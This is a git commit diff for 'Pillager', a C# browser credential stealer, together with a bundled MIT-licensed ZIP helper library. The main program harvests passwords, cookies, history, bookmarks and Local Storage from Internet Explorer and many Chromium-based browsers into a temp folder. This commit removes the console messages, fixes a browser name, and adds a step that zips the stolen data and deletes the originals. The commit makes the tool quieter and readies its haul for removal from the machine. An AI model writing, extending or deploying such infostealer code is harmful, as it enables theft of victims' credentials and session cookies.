update zip
This commit is contained in:
parent
069782acab
commit
33dc92dd7f
|
@ -217,7 +217,6 @@ namespace Pillager.Browsers
|
|||
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
|
||||
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
|
||||
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
|
||||
Console.WriteLine("Files wrote to " + savepath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -301,7 +301,6 @@ namespace Pillager.Browsers
|
|||
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
|
||||
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
|
||||
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
|
||||
Console.WriteLine("Files wrote to " + savepath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -244,7 +244,7 @@ namespace Pillager.Browsers
|
|||
{
|
||||
try
|
||||
{
|
||||
urls[i] = myreg.GetValue("url" + i.ToString()).ToString();
|
||||
urls[i] = myreg.GetValue("url" + i.ToString())?.ToString();
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
@ -289,7 +289,6 @@ namespace Pillager.Browsers
|
|||
if (!String.IsNullOrEmpty(passwords)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_passwords.txt"), passwords);
|
||||
if (!String.IsNullOrEmpty(books)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_books.txt"), books);
|
||||
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
|
||||
Console.WriteLine("Files wrote to " + savepath);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -142,8 +142,6 @@ namespace Pillager.Browsers
|
|||
if (!String.IsNullOrEmpty(cookies)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_cookies.txt"), cookies);
|
||||
if (!String.IsNullOrEmpty(history)) File.WriteAllText(Path.Combine(savepath, BrowserName + "_history.txt"), history);
|
||||
if (Directory.Exists(Path.Combine(BrowserPath, "Local Storage"))) Methods.CopyDirectory(Path.Combine(BrowserPath, "Local Storage"), Path.Combine(savepath, "Local Storage"), true);
|
||||
|
||||
Console.WriteLine("Files wrote to " + savepath);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -27,7 +27,6 @@ namespace Pillager.Helper
|
|||
Native.CloseHandle(hfile);
|
||||
Native.NtResumeProcess(hProcess);
|
||||
Native.CloseHandle(hProcess);
|
||||
File.WriteAllBytes("Cookies", fileBuffer);
|
||||
return fileBuffer;
|
||||
}
|
||||
catch { return null; }
|
||||
|
@ -175,13 +174,6 @@ namespace Pillager.Helper
|
|||
return result;
|
||||
}
|
||||
|
||||
// Buffer contains:
|
||||
// struct FILE_PROCESS_IDS_USING_FILE_INFORMATION
|
||||
// {
|
||||
// ULONG NumberOfProcessIdsInList;
|
||||
// ULONG_PTR ProcessIdList[1];
|
||||
// }
|
||||
|
||||
IntPtr readBuffer = bufferPtr;
|
||||
int numEntries = Marshal.ReadInt32(readBuffer); // NumberOfProcessIdsInList
|
||||
readBuffer = new IntPtr(readBuffer.ToInt32() + IntPtr.Size);
|
||||
|
@ -207,7 +199,7 @@ namespace Pillager.Helper
|
|||
private static IntPtr GetFileHandle(string name)
|
||||
{
|
||||
return Native.CreateFile(name,
|
||||
0, // "FileAccess.Neither" Read nor Write
|
||||
0,
|
||||
FileShare.Read | FileShare.Write | FileShare.Delete,
|
||||
IntPtr.Zero,
|
||||
FileMode.Open,
|
||||
|
|
|
@ -58,6 +58,12 @@
|
|||
<Compile Include="Program.cs" />
|
||||
<Compile Include="Properties\AssemblyInfo.cs" />
|
||||
<Compile Include="Helper\SQLiteHandler.cs" />
|
||||
<Compile Include="ZIP\CompressionLevel.cs" />
|
||||
<Compile Include="ZIP\ShellHelper.cs" />
|
||||
<Compile Include="ZIP\ZipArchive.cs" />
|
||||
<Compile Include="ZIP\ZipArchiveEntry.cs" />
|
||||
<Compile Include="ZIP\ZipArchiveMode.cs" />
|
||||
<Compile Include="ZIP\ZipFile.cs" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<None Include="app.config" />
|
||||
|
|
|
@ -1,6 +1,7 @@
|
|||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using Pillager.Browsers;
|
||||
|
||||
namespace Pillager
|
||||
|
@ -10,10 +11,10 @@ namespace Pillager
|
|||
static void Main(string[] args)
|
||||
{
|
||||
string savepath = Path.Combine(Path.GetTempPath(), "Pillager");
|
||||
if (!Directory.Exists(savepath))
|
||||
{
|
||||
Directory.CreateDirectory(savepath);
|
||||
}
|
||||
string savezippath = savepath + ".zip";
|
||||
if (Directory.Exists(savepath)) Directory.Delete(savepath, true);
|
||||
if (File.Exists(savezippath)) File.Delete(savezippath);
|
||||
Directory.CreateDirectory(savepath);
|
||||
|
||||
//IE
|
||||
IE.Save(savepath);
|
||||
|
@ -31,7 +32,7 @@ namespace Pillager
|
|||
new List<string>() { "Chrome Beta", "Google\\Chrome Beta\\User Data\\Default" } ,
|
||||
new List<string>() { "Chromium", "Chromium\\User Data\\Default" } ,
|
||||
new List<string>() { "Edge", "Microsoft\\Edge\\User Data\\Default" } ,
|
||||
new List<string>() { "Brave-Browse", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
|
||||
new List<string>() { "Brave-Browser", "BraveSoftware\\Brave-Browser\\User Data\\Default" } ,
|
||||
new List<string>() { "QQBrowser", "Tencent\\QQBrowser\\User Data\\Default" } ,
|
||||
new List<string>() { "SogouExplorer", "Sogou\\SogouExplorer\\User Data\\Default" } ,
|
||||
new List<string>() { "Vivaldi", "Vivaldi\\User Data\\Default" } ,
|
||||
|
@ -45,6 +46,10 @@ namespace Pillager
|
|||
Chrome chrome = new Chrome(browser[0], chromepath);
|
||||
chrome.Save(savepath);
|
||||
}
|
||||
|
||||
//ZIP
|
||||
ZipFile.CreateFromDirectory(savepath, savezippath);
|
||||
Directory.Delete(savepath, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
|
@ -0,0 +1,32 @@
|
|||
#region License
|
||||
/*
|
||||
Copyright (c) 2015, Paweł Hofman (CodeTitans)
|
||||
All Rights Reserved.
|
||||
|
||||
Licensed under MIT License
|
||||
For more information please visit:
|
||||
|
||||
https://github.com/phofman/zip/blob/master/LICENSE
|
||||
or
|
||||
http://opensource.org/licenses/MIT
|
||||
|
||||
|
||||
For latest source code, documentation, samples
|
||||
and more information please visit:
|
||||
|
||||
https://github.com/phofman/zip
|
||||
*/
|
||||
#endregion
|
||||
|
||||
namespace System.IO.Compression
|
||||
{
|
||||
/// <summary>
|
||||
/// Specification of the completion level.
|
||||
/// </summary>
|
||||
public enum CompressionLevel
|
||||
{
|
||||
Fastest,
|
||||
NoCompression,
|
||||
Optimal
|
||||
}
|
||||
}
|
|
@ -0,0 +1,297 @@
|
|||
#region License
|
||||
/*
|
||||
Copyright (c) 2015, Paweł Hofman (CodeTitans)
|
||||
All Rights Reserved.
|
||||
|
||||
Licensed under MIT License
|
||||
For more information please visit:
|
||||
|
||||
https://github.com/phofman/zip/blob/master/LICENSE
|
||||
or
|
||||
http://opensource.org/licenses/MIT
|
||||
|
||||
|
||||
For latest source code, documentation, samples
|
||||
and more information please visit:
|
||||
|
||||
https://github.com/phofman/zip
|
||||
*/
|
||||
#endregion
|
||||
|
||||
using System.Reflection;
|
||||
using System.Threading;
|
||||
|
||||
namespace System.IO.Compression
|
||||
{
|
||||
/// <summary>
|
||||
/// Helper class for some Shell32 operations.
|
||||
/// </summary>
|
||||
static class ShellHelper
|
||||
{
|
||||
/// <summary>
|
||||
/// Simple wrapper class for making reflection easier.
|
||||
/// </summary>
|
||||
public class ReflectionWrapper
|
||||
{
|
||||
private readonly object _o;
|
||||
|
||||
/// <summary>
|
||||
/// Init constructor.
|
||||
/// </summary>
|
||||
protected ReflectionWrapper(object o)
|
||||
{
|
||||
if (o == null)
|
||||
throw new ArgumentNullException("o");
|
||||
|
||||
_o = o;
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the COM type of the wrapped object.
|
||||
/// </summary>
|
||||
protected Type WrappedType
|
||||
{
|
||||
get { return _o.GetType(); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the wrapped object value.
|
||||
/// </summary>
|
||||
protected internal object WrappedObject
|
||||
{
|
||||
get { return _o; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Invokes the method with specified name.
|
||||
/// </summary>
|
||||
protected T InvokeMethod<T>(string name, params object[] args)
|
||||
{
|
||||
return (T) WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Invokes the method with specified name.
|
||||
/// </summary>
|
||||
protected object InvokeMethod(string name, params object[] args)
|
||||
{
|
||||
return WrappedType.InvokeMember(name, BindingFlags.InvokeMethod, null, WrappedObject, args != null && args.Length == 0 ? null : args);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the value of specified property.
|
||||
/// </summary>
|
||||
protected T GetProperty<T>(string name)
|
||||
{
|
||||
return (T) WrappedType.InvokeMember(name, BindingFlags.GetProperty, null, WrappedObject, null);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Sets the value of specified property.
|
||||
/// </summary>
|
||||
protected void SetProperty(string name, object value)
|
||||
{
|
||||
WrappedType.InvokeMember(name, BindingFlags.SetProperty, null, WrappedObject, new object[] { value });
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Wrapper class for the Shell Folder COM class.
|
||||
/// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787868(v=vs.85).aspx
|
||||
/// </summary>
|
||||
public class Folder : ReflectionWrapper
|
||||
{
|
||||
public Folder(object o, string path)
|
||||
: base(o)
|
||||
{
|
||||
Path = path;
|
||||
}
|
||||
|
||||
#region Properties
|
||||
|
||||
/// <summary>
|
||||
/// Full path represented by this folder (or ZIP archive).
|
||||
/// </summary>
|
||||
public string Path
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Returns a string that represents the current object.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// A string that represents the current object.
|
||||
/// </returns>
|
||||
public override string ToString()
|
||||
{
|
||||
return Path;
|
||||
}
|
||||
|
||||
public FolderItems Items()
|
||||
{
|
||||
return new FolderItems(InvokeMethod("Items"));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Copies specified items (single file or collection) into current folder or ZIP archive.
|
||||
/// </summary>
|
||||
public void Copy(ReflectionWrapper items)
|
||||
{
|
||||
const int NoProgressDialog = 4;
|
||||
const int RespondYesToAllDialogs = 16;
|
||||
const int NoUiOnError = 1024;
|
||||
|
||||
// HINT: somehow flags about UI are ignored and if operation takes a bit more time (from several seconds up)
|
||||
// shell will display the progress with option to cancel
|
||||
// HINT: this call is asynchronous and starts another thread without any way to easily monitor progress
|
||||
InvokeMethod("CopyHere", items.WrappedObject, NoProgressDialog | RespondYesToAllDialogs | NoUiOnError);
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Wrapper class for the Shell FolderItems COM class.
|
||||
/// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787800(v=vs.85).aspx
|
||||
/// </summary>
|
||||
public class FolderItems : ReflectionWrapper
|
||||
{
|
||||
public FolderItems(object o)
|
||||
: base(o)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the number of items.
|
||||
/// </summary>
|
||||
public int Count
|
||||
{
|
||||
get { return GetProperty<int>("Count"); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets item at specified index.
|
||||
/// </summary>
|
||||
public FolderItem this[int index]
|
||||
{
|
||||
get { return new FolderItem(InvokeMethod("Item", index)); }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Wrapper class for the Shell FolderItem COM class.
|
||||
/// https://msdn.microsoft.com/en-us/library/windows/desktop/bb787810(v=vs.85).aspx
|
||||
/// </summary>
|
||||
public class FolderItem : ReflectionWrapper
|
||||
{
|
||||
public FolderItem(object o)
|
||||
: base(o)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Checks if given item is a folder.
|
||||
/// </summary>
|
||||
public bool IsFolder
|
||||
{
|
||||
get { return GetProperty<bool>("IsFolder"); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets or sets the name.
|
||||
/// </summary>
|
||||
public string Name
|
||||
{
|
||||
get { return GetProperty<string>("Name"); }
|
||||
set { SetProperty("Name", value); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the size.
|
||||
/// </summary>
|
||||
public long Size
|
||||
{
|
||||
get { return GetProperty<int>("Size"); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the full path of an item. If it's inside the ZIP archive, it will be prefixed with the path to that ZIP.
|
||||
/// </summary>
|
||||
public string Path
|
||||
{
|
||||
get { return GetProperty<string>("Path"); }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the folder representation of an item (if it's actually a folder) or null.
|
||||
/// </summary>
|
||||
public Folder AsFolder
|
||||
{
|
||||
get
|
||||
{
|
||||
if (IsFolder)
|
||||
{
|
||||
return new Folder(GetProperty<object>("GetFolder"), Path);
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Returns a string that represents the current object.
|
||||
/// </summary>
|
||||
/// <returns>
|
||||
/// A string that represents the current object.
|
||||
/// </returns>
|
||||
public override string ToString()
|
||||
{
|
||||
return Path;
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the folder wrapper representation for specified path.
|
||||
/// </summary>
|
||||
public static Folder GetShell32Folder(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
throw new ArgumentNullException("path");
|
||||
if (!Directory.Exists(path) && !File.Exists(path))
|
||||
throw new ArgumentOutOfRangeException("path", "Requested path doesn't exist");
|
||||
|
||||
var shellAppType = Type.GetTypeFromProgID("Shell.Application");
|
||||
var shell = Activator.CreateInstance(shellAppType);
|
||||
return new Folder(shellAppType.InvokeMember("NameSpace", BindingFlags.InvokeMethod, null, shell, new object[] { path }), path);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Waits until specified file is not in use.
|
||||
/// </summary>
|
||||
public static void WaitForCompletion(string fileName)
|
||||
{
|
||||
Thread.Sleep(300);
|
||||
while (File.Exists(fileName) && IsInUse(fileName))
|
||||
{
|
||||
Thread.Sleep(100);
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsInUse(string filePath)
|
||||
{
|
||||
try
|
||||
{
|
||||
var file = File.OpenRead(filePath);
|
||||
file.Close();
|
||||
return false;
|
||||
}
|
||||
catch
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
}
|
|
@ -0,0 +1,476 @@
|
|||
#region License
|
||||
/*
|
||||
Copyright (c) 2015, Paweł Hofman (CodeTitans)
|
||||
All Rights Reserved.
|
||||
|
||||
Licensed under MIT License
|
||||
For more information please visit:
|
||||
|
||||
https://github.com/phofman/zip/blob/master/LICENSE
|
||||
or
|
||||
http://opensource.org/licenses/MIT
|
||||
|
||||
|
||||
For latest source code, documentation, samples
|
||||
and more information please visit:
|
||||
|
||||
https://github.com/phofman/zip
|
||||
*/
|
||||
#endregion
|
||||
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.ObjectModel;
|
||||
|
||||
namespace System.IO.Compression
|
||||
{
|
||||
/// <summary>
|
||||
/// Class representing ZIP archive.
|
||||
/// https://msdn.microsoft.com/en-us/library/system.io.compression.ziparchive(v=vs.110).aspx
|
||||
/// </summary>
|
||||
public sealed class ZipArchive : IDisposable
|
||||
{
|
||||
private readonly string _zipFileName;
|
||||
private readonly string _tempFolder;
|
||||
private readonly ZipArchiveMode _mode;
|
||||
|
||||
private readonly IList<ZipArchiveEntry> _existing;
|
||||
private readonly List<ZipArchiveEntry> _toAdd;
|
||||
|
||||
/// <summary>
|
||||
/// Opens specified archive for reading.
|
||||
/// </summary>
|
||||
public ZipArchive(FileStream zipStream)
|
||||
: this(zipStream, ZipArchiveMode.Read)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Opens specified archive in given mode.
|
||||
/// </summary>
|
||||
public ZipArchive(FileStream zipFileStream, ZipArchiveMode mode)
|
||||
{
|
||||
if (zipFileStream == null)
|
||||
throw new ArgumentNullException("zipFileStream");
|
||||
|
||||
_mode = mode;
|
||||
_zipFileName = zipFileStream.Name;
|
||||
_tempFolder = Path.Combine(Path.GetTempPath(), Path.GetRandomFileName());
|
||||
|
||||
// HINT: immediatelly close the file, as we will use Shell API to manipulate the file
|
||||
// and we need to let it modify its content (that's why other constructors are not
|
||||
// supported, that let to leave this stream open)
|
||||
zipFileStream.Close();
|
||||
CreateFolders();
|
||||
|
||||
// initialize empty ZIP file if needed:
|
||||
var fileInfo = new FileInfo(_zipFileName);
|
||||
if (mode == ZipArchiveMode.Create || (mode == ZipArchiveMode.Update && fileInfo.Length == 0) || (mode == ZipArchiveMode.Read && fileInfo.Length == 0))
|
||||
{
|
||||
CreateEmptyZipFile();
|
||||
_existing = new List<ZipArchiveEntry>();
|
||||
}
|
||||
else
|
||||
{
|
||||
_existing = ScanForEntries(_zipFileName);
|
||||
}
|
||||
|
||||
Entries = new ReadOnlyCollection<ZipArchiveEntry>(_existing);
|
||||
_toAdd = new List<ZipArchiveEntry>();
|
||||
}
|
||||
|
||||
~ZipArchive()
|
||||
{
|
||||
Dispose(false);
|
||||
}
|
||||
|
||||
#region IDisposable Implementation
|
||||
|
||||
private void Dispose(bool disposing)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (disposing)
|
||||
{
|
||||
switch (_mode)
|
||||
{
|
||||
case ZipArchiveMode.Create: // fall-though
|
||||
case ZipArchiveMode.Update:
|
||||
ZipContent();
|
||||
break;
|
||||
case ZipArchiveMode.Read:
|
||||
// do nothing...
|
||||
break;
|
||||
default:
|
||||
throw new IOException("Unsupported mode to update the archive on disposing");
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
// don't throw an exception, when called from finalizer's thread
|
||||
if (disposing)
|
||||
throw;
|
||||
}
|
||||
finally
|
||||
{
|
||||
DeleteTemp();
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Performs application-defined tasks associated with freeing, releasing, or resetting unmanaged resources.
|
||||
/// </summary>
|
||||
public void Dispose()
|
||||
{
|
||||
Dispose(true);
|
||||
GC.SuppressFinalize(this);
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Properties
|
||||
|
||||
/// <summary>
|
||||
/// Gets a value that describes the type of action the archive can perform on entries.
|
||||
/// </summary>
|
||||
public ZipArchiveMode Mode
|
||||
{
|
||||
get { return _mode; }
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the collection of entries that are currently in the archive.
|
||||
/// </summary>
|
||||
public ReadOnlyCollection<ZipArchiveEntry> Entries
|
||||
{
|
||||
get;
|
||||
private set;
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
#region Helper Methods
|
||||
|
||||
/// <summary>
|
||||
/// Makes sure all parent folders exist for specified path to file or directory.
|
||||
/// </summary>
|
||||
private static string CreateParentFolder(string path)
|
||||
{
|
||||
if (string.IsNullOrEmpty(path))
|
||||
throw new ArgumentNullException("path");
|
||||
|
||||
path = Path.GetDirectoryName(path);
|
||||
if (!string.IsNullOrEmpty(path) && !Directory.Exists(path))
|
||||
{
|
||||
Directory.CreateDirectory(path);
|
||||
}
|
||||
|
||||
return path;
|
||||
}
|
||||
|
||||
private void CreateFolders()
|
||||
{
|
||||
CreateParentFolder(_zipFileName);
|
||||
|
||||
try
|
||||
{
|
||||
Directory.CreateDirectory(_tempFolder);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void DeleteTemp()
|
||||
{
|
||||
try
|
||||
{
|
||||
Directory.Delete(_tempFolder, true);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void CreateEmptyZipFile()
|
||||
{
|
||||
byte[] headerBits = new byte[] { 80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
|
||||
File.WriteAllBytes(_zipFileName, headerBits);
|
||||
}
|
||||
|
||||
private void ZipContent()
|
||||
{
|
||||
var destFile = ShellHelper.GetShell32Folder(_zipFileName);
|
||||
var srcFolder = ShellHelper.GetShell32Folder(_tempFolder);
|
||||
var items = srcFolder.Items();
|
||||
|
||||
// copy folder into a ZIP file using Windows Shell API
|
||||
destFile.Copy(items);
|
||||
ShellHelper.WaitForCompletion(destFile.Path);
|
||||
}
|
||||
|
||||
private void UnzipContent(string targetFolder)
|
||||
{
|
||||
if (!Directory.Exists(targetFolder))
|
||||
Directory.CreateDirectory(targetFolder);
|
||||
|
||||
var srcFile = ShellHelper.GetShell32Folder(_zipFileName);
|
||||
var destFolder = ShellHelper.GetShell32Folder(targetFolder);
|
||||
|
||||
destFolder.Copy(srcFile.Items());
|
||||
ShellHelper.WaitForCompletion(srcFile.Path);
|
||||
}
|
||||
|
||||
private void CopyAddedFiles(string targetFolder)
|
||||
{
|
||||
foreach (var item in _toAdd)
|
||||
{
|
||||
var targetFile = Path.Combine(targetFolder, item.FullName);
|
||||
if (!string.IsNullOrEmpty(item.TempLocalPath))
|
||||
{
|
||||
CreateParentFolder(targetFile);
|
||||
File.Copy(item.TempLocalPath, targetFile, true);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private static string NormalizeEntryName(string entryName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(entryName))
|
||||
throw new ArgumentNullException("entryName");
|
||||
|
||||
// remove leading directory separators:
|
||||
int i = 0;
|
||||
while (i < entryName.Length && (entryName[i] == Path.AltDirectorySeparatorChar || entryName[i] == Path.DirectorySeparatorChar))
|
||||
i++;
|
||||
|
||||
if (i > 0)
|
||||
{
|
||||
entryName = entryName.Substring(i);
|
||||
}
|
||||
|
||||
// and make sure the same separator is used across the whole entry name's path:
|
||||
return entryName.Replace(Path.AltDirectorySeparatorChar, Path.DirectorySeparatorChar);
|
||||
}
|
||||
|
||||
private static int Find(IEnumerable<ZipArchiveEntry> list, ZipArchiveEntry item)
|
||||
{
|
||||
int i = 0;
|
||||
|
||||
foreach (var x in list)
|
||||
{
|
||||
if (x.Match(item))
|
||||
return i;
|
||||
i++;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
private ZipArchiveEntry Add(ZipArchiveEntry item)
|
||||
{
|
||||
var existingIndex = Find(_toAdd, item);
|
||||
if (existingIndex >= 0)
|
||||
{
|
||||
_toAdd.RemoveAt(existingIndex);
|
||||
}
|
||||
|
||||
_toAdd.Add(item);
|
||||
|
||||
existingIndex = Find(_existing, item);
|
||||
if (existingIndex > 0)
|
||||
{
|
||||
_existing.RemoveAt(existingIndex);
|
||||
}
|
||||
|
||||
_existing.Add(item);
|
||||
return item;
|
||||
}
|
||||
|
||||
private IList<ZipArchiveEntry> ScanForEntries(string zipFileName)
|
||||
{
|
||||
var result = new List<ZipArchiveEntry>();
|
||||
|
||||
if (File.Exists(zipFileName))
|
||||
{
|
||||
var srcFolder = ShellHelper.GetShell32Folder(zipFileName);
|
||||
|
||||
ScanAdd(result, zipFileName, srcFolder.Items());
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
private void ScanAdd(List<ZipArchiveEntry> result, string initialPath, ShellHelper.FolderItems items)
|
||||
{
|
||||
if (items != null)
|
||||
{
|
||||
int count = items.Count;
|
||||
for (int i = 0; i < count; i++)
|
||||
{
|
||||
var item = items[i];
|
||||
var folder = item.AsFolder;
|
||||
if (folder != null)
|
||||
{
|
||||
ScanAdd(result, initialPath, folder.Items());
|
||||
}
|
||||
else
|
||||
{
|
||||
var path = item.Path;
|
||||
if (path != null && path.StartsWith(initialPath, StringComparison.Ordinal))
|
||||
path = path.Substring(initialPath.Length + 1);
|
||||
result.Add(new ZipArchiveEntry(this, item, null, path, item.Size));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#endregion
|
||||
|
||||
/// <summary>
|
||||
/// Archives a file by compressing it and adding it to the ZIP.
|
||||
/// </summary>
|
||||
public ZipArchiveEntry CreateEntryFromFile(string sourceFileName, string entryName, CompressionLevel compressionLevel)
|
||||
{
|
||||
if (string.IsNullOrEmpty(sourceFileName))
|
||||
throw new ArgumentNullException("sourceFileName");
|
||||
if (_mode == ZipArchiveMode.Read)
|
||||
throw new NotSupportedException("Current mode doesn't support items creation");
|
||||
if (string.IsNullOrEmpty(entryName))
|
||||
throw new ArgumentNullException("entryName");
|
||||
|
||||
entryName = NormalizeEntryName(entryName);
|
||||
|
||||
// copy file into temp folder and register for future compression:
|
||||
var path = Path.GetFullPath(sourceFileName);
|
||||
var destPath = Path.Combine(_tempFolder, entryName);
|
||||
|
||||
CreateParentFolder(destPath);
|
||||
File.Copy(path, destPath, true);
|
||||
return Add(new ZipArchiveEntry(this, null, destPath, entryName, new FileInfo(destPath).Length));
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Archives a file by compressing it and adding it to the ZIP.
|
||||
/// </summary>
|
||||
public ZipArchiveEntry CreateEntryFromFile(string sourceFileName, string entryName)
|
||||
{
|
||||
return CreateEntryFromFile(sourceFileName, entryName, CompressionLevel.Optimal);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Extracts all the files in the ZIP archive to specified directory.
|
||||
/// </summary>
|
||||
public void ExtractToDirectory(string destinationDirectoryName)
|
||||
{
|
||||
if (string.IsNullOrEmpty(destinationDirectoryName))
|
||||
throw new ArgumentNullException("destinationDirectoryName");
|
||||
|
||||
var targetFolder = Path.GetFullPath(destinationDirectoryName);
|
||||
|
||||
UnzipContent(targetFolder);
|
||||
CopyAddedFiles(targetFolder);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates an empty entry that has the specified path and entry name in the archive.
|
||||
/// </summary>
|
||||
public ZipArchiveEntry CreateEntry(string entryName)
|
||||
{
|
||||
return CreateEntry(entryName, CompressionLevel.Optimal);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Creates an empty entry that has the specified path and entry name in the archive.
|
||||
/// </summary>
|
||||
public ZipArchiveEntry CreateEntry(string entryName, CompressionLevel compressionLevel)
|
||||
{
|
||||
if (_mode == ZipArchiveMode.Read)
|
||||
throw new NotSupportedException("Current mode doesn't support items creation");
|
||||
if (string.IsNullOrEmpty(entryName))
|
||||
throw new ArgumentNullException("entryName");
|
||||
|
||||
entryName = NormalizeEntryName(entryName);
|
||||
|
||||
// create an empty file
|
||||
var destPath = Path.Combine(_tempFolder, entryName);
|
||||
|
||||
CreateParentFolder(destPath);
|
||||
File.WriteAllBytes(destPath, new byte[0]);
|
||||
|
||||
return Add(new ZipArchiveEntry(this, null, destPath, entryName, 0));
|
||||
}
|
||||
|
||||
internal void Delete(ZipArchiveEntry item)
|
||||
{
|
||||
if (item != null)
|
||||
{
|
||||
if (!string.IsNullOrEmpty(item.TempLocalPath))
|
||||
File.Delete(item.TempLocalPath);
|
||||
|
||||
// if this is the last file withing directory, remove the directory to avoid runtime UI with errors:
|
||||
var parentFolder = Path.GetDirectoryName(item.TempLocalPath);
|
||||
if (!string.IsNullOrEmpty(parentFolder))
|
||||
{
|
||||
var files = Directory.GetFiles(parentFolder, "*", SearchOption.AllDirectories);
|
||||
if (files == null || files.Length == 0)
|
||||
{
|
||||
Directory.Delete(parentFolder, true);
|
||||
}
|
||||
}
|
||||
|
||||
bool removedFromAdd = _toAdd.Remove(item);
|
||||
bool removedFromExisting = _existing.Remove(item);
|
||||
|
||||
if (removedFromAdd || removedFromExisting)
|
||||
return;
|
||||
|
||||
// it's not supported to delete files from existing ZIP:
|
||||
throw new IOException("Unable to delete file from ZIP archive");
|
||||
}
|
||||
}
|
||||
|
||||
internal void ExtractToFile(ZipArchiveEntry item, string destinationFileName, bool overwrite)
|
||||
{
|
||||
if (item != null && !string.IsNullOrEmpty(destinationFileName))
|
||||
{
|
||||
var destPath = Path.GetFullPath(destinationFileName);
|
||||
var destFolder = CreateParentFolder(destPath);
|
||||
|
||||
// is it an item from the local temp folder (item to add)?
|
||||
if (!string.IsNullOrEmpty(item.TempLocalPath))
|
||||
{
|
||||
File.Copy(item.TempLocalPath, destPath, overwrite);
|
||||
}
|
||||
else
|
||||
{
|
||||
// is it an item from the existing ZIP?
|
||||
if (item.Item == null)
|
||||
throw new IOException("Invalid entry to extract");
|
||||
|
||||
var destination = ShellHelper.GetShell32Folder(destFolder);
|
||||
var itemFolder = item.Item.AsFolder;
|
||||
if (itemFolder != null)
|
||||
{
|
||||
// TODO: this should potentially work, however waiting for completion method is required and ZipAchiveEntry refer to a file rather than to folder...
|
||||
//destination.Copy(itemFolder.Items(), false, null);
|
||||
